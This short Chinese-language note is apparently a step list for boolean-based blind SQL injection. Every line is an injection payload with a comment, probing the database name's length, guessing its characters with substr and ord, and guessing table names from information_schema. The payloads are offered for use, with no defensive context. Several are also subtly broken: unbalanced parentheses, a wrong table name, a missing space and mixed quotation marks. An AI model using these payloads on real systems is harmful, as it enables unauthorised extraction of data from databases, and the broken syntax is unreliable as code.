步驟:
1' and length(database())>=1--+ //判斷數據庫的長度
1' and substr(database(),1,1)=‘t’ --+ //判斷數據庫第一個字母的值
1' and substr(database(),2,1)=‘q’ --+ //判斷數據庫的第二個字母的值
1' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判斷數據庫庫名
1' and substr(database(),2,1)=’q’--+ //利用substr判斷數據庫的庫名
1' and substr(select table_name from information_schema.table wheretable_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判斷數據庫的表名